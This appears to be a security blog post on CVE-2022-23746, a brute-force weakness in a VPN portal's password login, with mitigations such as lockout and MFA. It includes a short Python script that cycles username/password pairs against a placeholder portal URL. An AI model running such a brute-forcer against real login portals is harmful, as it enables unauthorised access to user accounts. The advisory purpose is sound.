CVE-2022-23746: IPsec VPN Blade Vulnerability Allows Brute-Force Attacks on Username/Password Authentication in SSL Network Extender Portal

CVE-2022-23746 is a recently discovered vulnerability that affects the IPsec VPN blade's SSL Network Extender (SNX) portal when username/password authentication is enabled. This vulnerability allows an attacker to execute a brute-force attack on usernames and passwords, potentially compromising user accounts and gaining unauthorized access to protected resources.

In this post, we will dive into the details of this vulnerability, discuss the potential risks associated with it, and provide guidance on how to mitigate the threat. We will also provide code snippets and references to the original sources for further understanding.

The Vulnerability: Brute-Force Attack on Username/Password Authentication

The IPsec VPN blade and its SNX portal provide secure remote access to organizations' internal networks. However, when username/password authentication is configured, the portal becomes vulnerable to brute-force attacks. An attacker can attempt to log in using multiple username and password combinations, often using automated tools to increase the speed and efficiency of their attack.

As this vulnerability is classified under CVE-2022-23746, vendors and security researchers are highly encouraged to patch the affected systems and implement security controls to prevent unauthorized access.

Code Snippet: Sample Brute-Force Attack

The following code snippet demonstrates a simple Python script that uses the requests library to simulate a brute-force attack on the SNX portal, iterating through a list of username/password combinations:

import requests

# Replace with the target SNX portal URL
target_url = "https://example.com/SNX";

# Sample list of username/password combinations
user_pass_list = [
    ("user1", "password1"),
    ("user2", "password2"),
    # ...
]

for username, password in user_pass_list:
    payload = {
        "userName": username,
        "password": password,
    }

    response = requests.post(target_url, data=payload)

    if response.status_code == 200:
        print(f"Successful login with {username}:{password}")
        break
    else:
        print(f"Failed login with {username}:{password}")

Please note that this code snippet is for educational purposes only and should not be used to perform unauthorized activities.

The initial disclosure of CVE-2022-23746 was made in the following security advisories

1. CVE-2022-23746 - IPsec VPN Blade Vulnerability
2. NVD - CVE-2022-23746

These sources provide insights into the vulnerability, including details about the affected components, severity, and potential impact.

Exploit Details

The exploit for CVE-2022-23746 leverages the lack of proper lockout mechanisms for multiple failed login attempts, enabling an attacker to execute the brute-force attack. Essentially, the attacker rapidly submits numerous username/password combinations through an automated script, like the code snippet shown above, in an attempt to guess valid credentials successfully.

Mitigation Strategies

Here are some mitigation strategies to safeguard against brute-force attacks and protect the IPsec VPN blade's SNX portal:

1. Implement Account Lockout Policies: Enforce account lockout policies after a specific number of failed login attempts to slow down or stop brute-force attacks. This mechanism will temporarily lock the user account and require a password reset or administrative unlock.

2. Use Multi-Factor Authentication (MFA): Enable MFA as an additional layer of security for authenticating users. MFA combines two or more authentication factors, such as a physical token or biometric data, making it much harder for attackers to gain unauthorized access.

3. Regularly Monitor Logs: Regularly review and analyze access logs to identify any unusual activities or patterns. Early detection of a brute-force attack in progress can help prevent unauthorized access.

4. Update and Patch Systems: Always ensure your IPsec VPN blade and its associated software are up to date with the latest security patches to minimize susceptibility to known vulnerabilities.

Conclusion

CVE-2022-23746 is a significant vulnerability that affects the IPsec VPN blade's SSL Network Extender portal when username/password authentication is configured. To protect your organization against brute-force attacks, it is crucial to understand the risks associated with this vulnerability and implement the recommended mitigation strategies. By taking a proactive approach to network security, organizations can better safeguard their critical resources and sensitive data.

Timeline

Published on: 11/30/2022 19:15:00 UTC
Last modified on: 12/06/2022 15:49:00 UTC